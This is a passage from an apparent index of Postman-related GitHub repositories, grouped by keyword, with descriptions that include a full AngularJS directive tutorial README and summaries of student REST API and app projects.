Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
selectel/pat
select 		Pat, the only SMTP postman! 0 stars 0 watchers 13 forks
wernerkotze/function-abstractor
actor, function, select 		Based on the postman function selector. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
aviskase/ss-pygre
integration, rest, select, stupid, test, testing 		simple & stupid "rest" api select caller for PostgreSQL for integration testing via Postman 0 stars 0 watchers 0 forks
BitBrew/bbhub-postman
form, initial, platform, script, scripts, select, setup 		Postman scripts for select platform APIs, to aid in initial setup. 0 stars 0 watchers 0 forks
gauravsuman8/doselect_Test1
select 		Image Management API 0 stars 0 watchers 0 forks
JosephFahedTossi/voting-api
application, header, image, interface, program, programming, search, select, software, test, tested, upload, user 		An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. 0 stars 0 watchers 0 forks

products (11 listings) (Back to Top)

cermegno/Project-Vision
collection, collections, product, products, storage 		Project Vision - Postman collections for DellEMC's block storage products 1 stars 1 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
ahmedmohamed1101140/laravel-api
data, docs, dummy, laravel, product, products, resource, reviews, source 		simple api app contains dummy data about products and it's reviews built using laravel api resource docs 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
danielysyeung/sig.products.api.test.postman
product, products, test 		0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
nishthagoel99/restapi-shopdb
data, database, login, order, product, products, rest, rest api, restapi, signup, user, users 		A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! 0 stars 0 watchers 0 forks
nmenant/f5-POSTMAN-collections
collection, collections, manipulate, product, products 		F5 POSTMAN collections to manipulate F5 products 0 stars 0 watchers 0 forks
SerhiiY/food-delivery-server-goit
branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user 		A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. 0 stars 0 watchers 0 forks
theunresolvable/products-categories-crud-d44
crud, product, products 		NODE-EXPRESS-BODY-PARSER-POSTMAN-PRODUCTS-CATEGORIES-CRUD 0 stars 0 watchers 0 forks
waghmaredb/Dellemc-storage-RESTAPI
collection, product, products, storage 		Postman collection for DellEMC products 0 stars 0 watchers 0 forks

display (11 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
Nasrallah-Adel/weather
auth, authenticate, authenticates, city, display, play, service, user, weather 		Weather service that authenticates a user and displays the temperature of his requested city. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
annabush092/hey-mr-postman
active, display, email, interactive, mail, play 		An interactive, 3D display of your email inbox 0 stars 0 watchers 1 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
isildur93/Simple-Auth-system
client, clients, display, express, login, method, play, signup, system, track 		Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) 0 stars 0 watchers 0 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks

enable (11 listings) (Back to Top)

SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
micc83/PostmanCanFail
case, enable, enabled, error, logging, mail, send 		Notice via mail() or Rollbar in case of WordPress Postman SMTP Mailer sending errors. Postman logging must be enabled. 1 stars 1 watchers 0 forks
NitishGadangi/My_Postman-App
advance, enable, enables, remote 		📬 Android app with various advance features that enables you to Post JSON Data to a remote Api 1 stars 1 watchers 0 forks
andela-Taiwo/Document_Manager
access, accessed, chai, document, documents, enable, store, tool, track, user 		Reliable-Docs API is an API developed to enable user to track, manage and store documents. The end points can be accessed with Postman or alternate API toolchain. 0 stars 0 watchers 0 forks
bakersen/iReporter2
